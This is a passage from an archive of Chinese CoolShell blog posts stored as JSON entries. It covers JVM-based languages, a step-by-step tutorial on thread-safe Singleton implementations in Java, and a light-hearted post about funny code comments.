id=\"more-247\"></span></p>\n<p>在Java世界的一个令人着迷的趋势就是：在最近的几年里使用JVM来运行非Java的程序在程增长的趋势。毕竟，如果创造了一门新的语言，你就必须在特定的平台上实现它。如果你想你的语言能在不同的平台上移植，那么你就需要为每一个平台实现一个版本。但是，相比而言，如果你将语言实现在JVM上，那么你就能让你的语言运行在任何系统的JVM上，这就意味着几乎所有平台都可以运行。</p>\n<p>于是现在就有了许多的基于JVM的新增语言。其中4个最流行的是发布在开源许可证之下的。考虑到如今Java也是开发源码了，这意味着你可以使用一个全开源体系，并且这个体系是可以移植的。因为这些语言都在JVM之上实现的，所以你就可以同时访问Java的标准库。这意味着如果有一个第三方的的Java库，而且你精于Python，那么你就可以使用Jython在你的源代码中访问这些Java库。</p>\n<p>早期的基于JVM的脚本语言，就我所知，是Jython,之前被称为JPython。Jython，从名字你就可以猜到，是一个基于JVM的Python语言实现。Jython完全兼容Python2.2的标准版本(这个标准版本的Python也被称为CPython)，这意味着Jython将会没有Python的一些新特性。最近发布的Jython版本是2007年月发布的，但是Sun雇佣了两位早期Jython非常知名的开发者，并且现在Jython可以运行Django应用程序框架，因此验证其兼容Python的能力</p>\n<p>Sun公司同时资助了JRuby的开发，一个基于JVM的Ruby版本。Jython是Python唯一的两个实现的其中之一，对比而言，JRuby则是众多Ruby语言实现的其中之一。然而,JRuby被广泛的认为是一个非常重要的版本。特别是因为他的效率，和高度兼容标准C的Ruby版本实现。JRuby同样可以运行Ruby on Rails框架(<strong>译者注：构建在Ruby之上的WEB应用框架</strong>)，此外还能运行其他众多的功能。</p>\n<p>Jython和JRuby都是从其他已存在的语言中移植到JVM中来的。而全新的基于JVM的脚本语言是Groovy和Scala。这两门语言现在都越来越流行，不同的是，Groovy是动态脚本语言，而是Scala是静态语言。使用Groovy最著名的应用是Groovy on Grails项目，一个用Groovy写成，运行在JVM之上的WEB应用框架(和Ruby on Rails很相似)。Grails找到通向商业应用程序的道路，最著名的就是LinkedIn,使用Linkedin，开发人员发现他们能比直接使用Java更快速和容易的开发程序。相比而言，Scala，而是强类型是语言，Steve Yegge最近的一次访谈中曾经谈到、静态语言和动态语言的争论，因为这个他还受到了很多的批评（<strong>译者注：关于Steve Yegge的这篇关于动态语言和静态语言之争可以查看</strong><a href=\"http://steve-yegge.blogspot.com/2008/05/dynamic-languages-strike-back.html\" target=\"_self\"><strong>这里</strong></a>,<strong>Steve Yegge是一个动态语言的支持者</strong>）<br/>\nJava已经被公认为是非常成功而流行的语言。现在，Java也同时也被认为是非常流行的平台，这四类语言仅仅是在不远的将来通过JVM来实现的新兴语言的开始<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/247.html\">基于JVM的语言正在开始流行</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-26 深入浅出单实例Singleton设计模式.html",
    "content": "<html><body><p>单实例Singleton设计模式可能是被讨论和使用的最广泛的一个设计模式了，这可能也是面试中问得最多的一个设计模式了。这个设计模式主要目的是想在整个系统中只能出现一个类的实例。这样做当然是有必然的，比如你的软件的全局配置信息，或者是一个Factory，或是一个主控类，等等。你希望这个类在整个系统中只能出现一个实例。当然，作为一个技术负责人的你，你当然有权利通过使用非技术的手段来达到你的目的。比如：你在团队内部明文规定，“XX类只能有一个全局实例，如果某人使用两次以上，那么该人将被处于2000元的罚款！”（呵呵），你当然有权这么做。但是如果你的设计的是东西是一个类库，或是一个需要提供给用户使用的API，恐怕你的这项规定将会失效。因为，你无权要求别人会那么做。所以，这就是为什么，我们希望通过使用技术的手段来达成这样一个目的的原因。</p>\n<p>本文会带着你深入整个Singleton的世界，当然，我会放弃使用C++语言而改用Java语言，因为使用Java这个语言可能更容易让我说明一些事情。</p>\n<h4><span id=\"more-265\"></span><br/>\n<strong>Singleton的教学版本</strong></h4>\n<p>这里，我将直接给出一个Singleton的简单实现，因为我相信你已经有这方面的一些基础了。我们姑且把这个版本叫做1.0版</p>\n<pre class=\"EnlighterJSRAW\">// version 1.0\npublic class Singleton {\n    private static Singleton singleton = null;\n    private Singleton() {  }\n    public static Singleton getInstance() {\n        if (singleton== null) {\n            singleton= new Singleton();\n        }\n        return singleton;\n    }\n}</pre>\n<p>在上面的实例中，我想说明下面几个Singleton的特点：（下面这些东西可能是尽人皆知的，没有什么新鲜的）</p>\n<ol>\n<li>私有（private）的构造函数，表明这个类是不可能形成实例了。这主要是怕这个类会有多个实例。</li>\n<li>即然这个类是不可能形成实例，那么，我们需要一个静态的方式让其形成实例：getInstance()。注意这个方法是在new自己，因为其可以访问私有的构造函数，所以他是可以保证实例被创建出来的。</li>\n<li>在getInstance()中，先做判断是否已形成实例，如果已形成则直接返回，否则创建实例。</li>\n<li>所形成的实例保存在自己类中的私有成员中。</li>\n<li>我们取实例时，只需要使用Singleton.getInstance()就行了。</li>\n</ol>\n<p>当然，如果你觉得知道了上面这些事情后就学成了，那得给你当头棒喝一下了，事情远远没有那么简单。</p>\n<h4><strong>Singleton的实际版本</strong></h4>\n<p>上面的这个程序存在比较严重的问题，因为是全局性的实例，所以，在多线程情况下，所有的全局共享的东西都会变得非常的危险，这个也一样，在多线程情况下，如果多个线程同时调用getInstance()的话，那么，可能会有多个进程同时通过 (singleton== null)的条件检查，于是，多个实例就创建出来，并且很可能造成内存泄露问题。嗯，熟悉多线程的你一定会说——“我们需要线程互斥或同步”，没错，我们需要这个事情，于是我们的Singleton升级成1.1版，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">// version 1.1\npublic class Singleton\n{\n    private static Singleton singleton = null;\n    private Singleton() {  }\n    public static Singleton getInstance() {\n        if (singleton== null) {\n            synchronized (Singleton.class) {\n                singleton= new Singleton();\n            }\n        }\n        return singleton;\n    }\n}</pre>\n<p>嗯，使用了Java的synchronized方法，看起来不错哦。应该没有问题了吧？！错！这还是有问题！为什么呢？前面已经说过，如果有多个线程同时通过(singleton== null)的条件检查（因为他们并行运行），虽然我们的synchronized方法会帮助我们同步所有的线程，让我们并行线程变成串行的一个一个去new，那不还是一样的吗？同样会出现很多实例。嗯，确实如此！看来，还得把那个判断(singleton== null)条件也同步起来。于是，我们的Singleton再次升级成1.2版本，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">// version 1.2\npublic class Singleton\n{\n    private static Singleton singleton = null;\n    private Singleton()  {  }\n    public static Singleton getInstance()  {\n        synchronized (Singleton.class) {\n            if (singleton== null) {\n\t\tsingleton= new Singleton();\n            }\n         }\n        return singleton;\n    }\n}</pre>\n<p>不错不错，看似很不错了。在多线程下应该没有什么问题了，不是吗？的确是这样的，1.2版的Singleton在多线程下的确没有问题了，因为我们同步了所有的线程。只不过嘛……，什么？！还不行？！是的，还是有点小问题，我们本来只是想让new这个操作并行就可以了，现在，只要是进入getInstance()的线程都得同步啊，注意，创建对象的动作只有一次，后面的动作全是读取那个成员变量，这些读取的动作不需要线程同步啊。这样的作法感觉非常极端啊，为了一个初始化的创建动作，居然让我们达上了所有的读操作，严重影响后续的性能啊！</p>\n<p>还得改！嗯，看来，在线程同步前还得加一个(singleton== null)的条件判断，如果对象已经创建了，那么就不需要线程的同步了。OK，下面是1.3版的Singleton。</p>\n<pre class=\"EnlighterJSRAW\">// version 1.3\npublic class Singleton\n{\n    private static Singleton singleton = null;\n    private Singleton()  {    }\n    public static Singleton getInstance() {\n        if (singleton== null)  {\n            synchronized (Singleton.class) {\n                if (singleton== null)  {\n                    singleton= new Singleton();\n                }\n            }\n        }\n        return singleton;\n    }\n}</pre>\n<p>感觉代码开始变得有点罗嗦和复杂了，不过，这可能是最不错的一个版本了，这个版本又叫“双重检查”Double-Check。下面是说明：</p>\n<ol>\n<li>第一个条件是说，如果实例创建了，那就不需要同步了，直接返回就好了。</li>\n<li>不然，我们就开始同步线程。</li>\n<li>第二个条件是说，如果被同步的线程中，有一个线程创建了对象，那么别的线程就不用再创建了。</li>\n</ol>\n<p>相当不错啊，干得非常漂亮！请大家为我们的1.3版起立鼓掌！</p>\n<p>但是，如果你认为这个版本大攻告成，你就错了。</p>\n<p>主要在于<strong>singleton <code>= new Singleton()</code></strong>这句，这并非是一个原子操作，事实上在 JVM 中这句话大概做了下面 3 件事情。</p>\n<ol>\n<li>给 singleton 分配内存</li>\n<li>调用 Singleton 的构造函数来初始化成员变量，形成实例</li>\n<li>将singleton对象指向分配的内存空间（执行完这步 singleton才是非 null 了）</li>\n</ol>\n<p>但是在 JVM 的即时编译器中存在指令重排序的优化。也就是说上面的第二步和第三步的顺序是不能保证的，最终的执行顺序可能是 1-2-3 也可能是 1-3-2。如果是后者，则在 3 执行完毕、2 未执行之前，被线程二抢占了，这时 instance 已经是非 null 了（但却没有初始化），所以线程二会直接返回 instance，然后使用，然后顺理成章地报错。</p>\n<p>对此，我们只需要把singleton声明成 volatile 就可以了。下面是1.4版：</p>\n<pre class=\"EnlighterJSRAW\">// version 1.4\npublic class Singleton\n{\n    private volatile static Singleton singleton = null;\n    private Singleton()  {    }\n    public static Singleton getInstance()   {\n        if (singleton== null)  {\n            synchronized (Singleton.class) {\n                if (singleton== null)  {\n                    singleton= new Singleton();\n                }\n            }\n        }\n        return singleton;\n    }\n}</pre>\n<p>使用 volatile 有两个功用：</p>\n<p>1）这个变量不会在多个线程中存在复本，直接从内存读取。</p>\n<p>2）这个关键字会禁止指令重排序优化。也就是说，在 volatile 变量的赋值操作后面会有一个内存屏障（生成的汇编代码上），读操作不会被重排序到内存屏障之前。</p>\n<p>但是，这个事情仅在Java 1.5版后有用，1.5版之前用这个变量也有问题，因为老版本的Java的内存模型是有缺陷的。</p>\n<h4><strong>Singleton 的简化版本</strong></h4>\n<p>上面的玩法实在是太复杂了，一点也不优雅，下面是一种更为优雅的方式：</p>\n<p>这种方法非常简单，因为单例的实例被声明成 static 和 final 变量了，在第一次加载类到内存中时就会初始化，所以创建实例本身是线程安全的。</p>\n<pre class=\"EnlighterJSRAW\">// version 1.5\npublic class Singleton\n{\n    private volatile static Singleton singleton = new Singleton();\n    private Singleton()  {    }\n    public static Singleton getInstance()   {\n        return singleton;\n    }\n}</pre>\n<p>但是，这种玩法的最大问题是——当这个类被加载的时候，new Singleton() 这句话就会被执行，就算是getInstance()没有被调用，类也被初始化了。</p>\n<p>于是，<strong>这个可能会与我们想要的行为不一样，比如，我的类的构造函数中，有一些事可能需要依赖于别的类干的一些事（比如某个配置文件，或是某个被其它类创建的资源），我们希望他能在我第一次getInstance()时才被真正的创建。这样，我们可以控制真正的类创建的时刻，而不是把类的创建委托给了类装载器</strong>。</p>\n<p>好吧，我们还得绕一下：</p>\n<p>下面的这个1.6版是老版《Effective Java》中推荐的方式。</p>\n<pre class=\"EnlighterJSRAW\">// version 1.6\npublic class Singleton {\n    private static class SingletonHolder {\n        private static final Singleton INSTANCE = new Singleton();\n    }\n    private Singleton (){}\n    public static final Singleton getInstance() {\n        return SingletonHolder.INSTANCE;\n    }\n}</pre>\n<p>上面这种方式，仍然使用JVM本身机制保证了线程安全问题；由于 SingletonHolder 是私有的，除了 getInstance() 之外没有办法访问它，因此它只有在getInstance()被调用时才会真正创建；同时读取实例的时候不会进行同步，没有性能缺陷；也不依赖 JDK 版本。</p>\n<h4><strong>Singleton 优雅</strong>版本</h4>\n<pre class=\"EnlighterJSRAW\">public enum Singleton{\n   INSTANCE;\n}</pre>\n<p>居然用枚举！！看上去好牛逼，通过EasySingleton.INSTANCE来访问，这比调用getInstance()方法简单多了。</p>\n<p>默认枚举实例的创建是线程安全的，所以不需要担心线程安全的问题。但是在枚举中的其他任何方法的线程安全由程序员自己负责。还有防止上面的通过反射机制调用私用构造器。</p>\n<p><strong>这个版本基本上消除了绝大多数的问题。代码也非常简单，实在无法不用。这也是新版的《Effective Java》中推荐的模式。</strong></p>\n<h4><strong>Singleton的其它问题</strong></h4>\n<p>怎么？还有问题？！当然还有，请记住下面这条规则——“<strong>无论你的代码写得有多好，其只能在特定的范围内工作，超出这个范围就要出Bug了</strong>”，这是“陈式第一定理”，呵呵。你能想一想还有什么情况会让这个我们上面的代码出问题吗？</p>\n<p>在C++下，我不是很好举例，但是在Java的环境下，嘿嘿，还是让我们来看看下面的一些反例和一些别的事情的讨论（<strong>当然，有些反例可能属于钻牛角尖，可能有点学院派，不过也不排除其实际可能性，就算是提个醒吧</strong>）：</p>\n<p><strong>其一、Class Loader</strong>。不知道你对Java的Class Loader熟悉吗？“类装载器”？！C++可没有这个东西啊。这是Java动态性的核心。顾名思义，类装载器是用来把类(class)装载进JVM的。JVM规范定义了两种类型的类装载器：启动内装载器(bootstrap)和用户自定义装载器(user-defined class loader)。 在一个JVM中可能存在多个ClassLoader，每个ClassLoader拥有自己的NameSpace。一个ClassLoader只能拥有一个class对象类型的实例，但是不同的ClassLoader可能拥有相同的class对象实例，这时可能产生致命的问题。如ClassLoaderA，装载了类A的类型实例A1，而ClassLoaderB，也装载了类A的对象实例A2。逻辑上讲A1=A2，但是由于A1和A2来自于不同的ClassLoader，它们实际上是完全不同的，如果A中定义了一个静态变量c，则c在不同的ClassLoader中的值是不同的。</p>\n<p>于是，如果咱们的Singleton 1.3版本如果面对着多个Class Loader会怎么样？呵呵，多个实例同样会被多个Class Loader创建出来，当然，这个有点牵强，不过他确实存在。难道我们还要整出个1.4版吗？可是，我们怎么可能在我的Singleton类中操作Class Loader啊？是的，你根本不可能。在这种情况下，你能做的只有是——“保证多个Class Loader不会装载同一个Singleton”。</p>\n<p><strong>其二、序例化。</strong>如果我们的这个Singleton类是一个关于我们程序配置信息的类。我们需要它有序列化的功能，那么，当反序列化的时候，我们将无法控制别人不多次反序列化。不过，我们可以利用一下Serializable接口的readResolve()方法，比如：</p>\n<pre class=\"EnlighterJSRAW\">public class Singleton implements Serializable\n{\n    ......\n    ......\n    protected Object readResolve()\n    {\n        return getInstance();\n    }\n}</pre>\n<p><strong>其三、多个Java虚拟机。</strong>如果我们的程序运行在多个Java的虚拟机中。什么？多个虚拟机？这是一种什么样的情况啊。嗯，这种情况是有点极端，不过还是可能出现，比如EJB或RMI之流的东西。要在这种环境下避免多实例，看来只能通过良好的设计或非技术来解决了。</p>\n<p><strong>其四，volatile变量。</strong>关于volatile这个关键字所声明的变量可以被看作是一种 “程度较轻的同步synchronized”；与 synchronized 块相比，volatile 变量所需的编码较少，并且运行时开销也较少，但是它所能实现的功能也仅是synchronized的一部分。当然，如前面所述，我们需要的Singleton只是在创建的时候线程同步，而后面的读取则不需要同步。所以，volatile变量并不能帮助我们即能解决问题，又有好的性能。而且，这种变量只能在JDK 1.5+版后才能使用。</p>\n<p><strong>其五、关于继承。</strong>是的，继承于Singleton后的子类也有可能造成多实例的问题。不过，因为我们早把Singleton的构造函数声明成了私有的，所以也就杜绝了继承这种事情。</p>\n<p><strong>其六，关于代码重用。</strong>也话我们的系统中有很多个类需要用到这个模式，如果我们在每一个类都中有这样的代码，那么就显得有点傻了。那么，我们是否可以使用一种方法，把这具模式抽象出去？在C++下这是很容易的，因为有模板和友元，还支持栈上分配内存，所以比较容易一些（程序如下所示），Java下可能比较复杂一些，聪明的你知道怎么做吗？</p>\n<pre class=\"EnlighterJSRAW\">template class Singleton\n{\n    public:\n        static T&amp; Instance()\n        {\n            static T theSingleInstance; //假设T有一个protected默认构造函数\n            return theSingleInstance;\n        }\n};\n\nclass OnlyOne : public Singleton\n{\n    friend class Singleton;\n    int example_data;\n\n    public:\n        int GetExampleData() const {return example_data;}\n    protected:\n        OnlyOne(): example_data(42) {}   // 默认构造函数\n        OnlyOne(OnlyOne&amp;) {}\n};\n\nint main( )\n{\n    cout &lt;&lt; OnlyOne::Instance().GetExampleData() &lt;&lt; endl;\n\treturn 0;\n}\n</pre>\n<p> </p>\n<p class=\"MsoNormal\" style=\"margin: 0in 0in 0pt;\"><strong><span style=\"font-family: Times New Roman;\">(</span></strong><strong><span lang=\"ZH-CN\">转载时请注明作者和出处。未经许可，请勿用于商业用途</span><span style=\"font-family: Times New Roman;\">)</span></strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/265.html\">深入浅出单实例Singleton设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-26 雷人的程序注释.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment1.gif\"></a></p>\n<p>使用<a href=\"http://www.google.com/codesearch\"><span style=\"color: #0066cc;\">Google code search</span></a>可以搜索到一些比较有趣的代码注释，呵呵。下面的这些程序注释有搞笑的，也有粗口，看来写程序本来也不是一件很枯燥的事，关键看你的心态如何了。读到这些注释的时候，只能想到一个词，那就是“疯狂的程序员”，哈哈。Have a Fun  ;-)</p>\n<p>写个程序时不忘表达自己的感情，以免以后忘了。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment15.gif\"><img alt=\"fcomment15\" height=\"89\" src=\"../wp-content/uploads/2009/03/fcomment15.gif\" title=\"fcomment15\" width=\"664\"/></a></p>\n<p><span id=\"more-290\"></span></p>\n<p>呵呵，看来自己也不是很自信。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment1.gif\"><img alt=\"fcomment1\" height=\"90\" src=\"../wp-content/uploads/2009/03/fcomment1.gif\" title=\"fcomment1\" width=\"685\"/></a></p>\n<p>到处都是dragon啊。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment2.gif\"><img alt=\"fcomment2\" height=\"91\" src=\"../wp-content/uploads/2009/03/fcomment2.gif\" title=\"fcomment2\" width=\"613\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment3.gif\"><img alt=\"fcomment3\" height=\"92\" src=\"../wp-content/uploads/2009/03/fcomment3.gif\" title=\"fcomment3\" width=\"652\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment4.gif\"><img alt=\"fcomment4\" height=\"74\" src=\"../wp-content/uploads/2009/03/fcomment4.gif\" title=\"fcomment4\" width=\"653\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment5.gif\"><img alt=\"fcomment5\" height=\"76\" src=\"../wp-content/uploads/2009/03/fcomment5.gif\" title=\"fcomment5\" width=\"464\"/></a></p>\n<p> 又是一个愤怒的注释</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment6.gif\"><img alt=\"fcomment6\" height=\"77\" src=\"../wp-content/uploads/2009/03/fcomment6.gif\" title=\"fcomment6\" width=\"694\"/></a></p>\n<p>嗯，我早就告诉过他们……</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment7.gif\"><img alt=\"fcomment7\" height=\"89\" src=\"../wp-content/uploads/2009/03/fcomment7.gif\" title=\"fcomment7\" width=\"694\"/></a></p>\n<p>粗口也上了……</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment8.gif\"><img alt=\"fcomment8\" height=\"89\" src=\"../wp-content/uploads/2009/03/fcomment8.gif\" title=\"fcomment8\" width=\"501\"/></a></p>\n<p>嗯，下面的程序与请别看了……</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment9.gif\"><img alt=\"fcomment9\" height=\"74\" src=\"../wp-content/uploads/2009/03/fcomment9.gif\" title=\"fcomment9\" width=\"549\"/></a></p>\n<p>真是疯狂啊，难道程序员的注释也有枪手或五毛？</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment10.gif\"><img alt=\"fcomment10\" height=\"74\" src=\"../wp-content/uploads/2009/03/fcomment10.gif\" title=\"fcomment10\" width=\"468\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment11.gif\"><img alt=\"fcomment11\" height=\"77\" src=\"../wp-content/uploads/2009/03/fcomment11.gif\" title=\"fcomment11\" width=\"567\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment12.gif\"><img alt=\"fcomment12\" height=\"90\" src=\"../wp-content/uploads/2009/03/fcomment12.gif\" title=\"fcomment12\" width=\"565\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment13.gif\"><img alt=\"fcomment13\" height=\"89\" src=\"../wp-content/uploads/2009/03/fcomment13.gif\" title=\"fcomment13\" width=\"625\"/></a></p>\n<p> 希望你喜欢哦。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2746.html\"><img alt=\"五种应该避免的代码注释\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2746.html\">五种应该避免的代码注释</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7459.html\"><img alt=\"Huffman 编码压缩算法\" height=\"150\" src=\"../wp-content/uploads/2012/05/coada2-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7459.html\">Huffman 编码压缩算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/664.html\"><img alt=\"使用PHP的cURL库\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/664.html\">使用PHP的cURL库</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2990.html\"><img alt=\"编程时间分配图\" height=\"150\" src=\"../wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2990.html\">编程时间分配图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1174.html\"><img alt=\"程序员惯用的解释(Top 25)\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1174.html\">程序员惯用的解释(Top 25)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1202.html\"><img alt=\"面试题：赛马问题\" height=\"150\" src=\"../wp-content/uploads/2009/07/Question-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1202.html\">面试题：赛马问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/290.html\">雷人的程序注释</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-29 OSGi和Java企业级运算的未来方向.html",
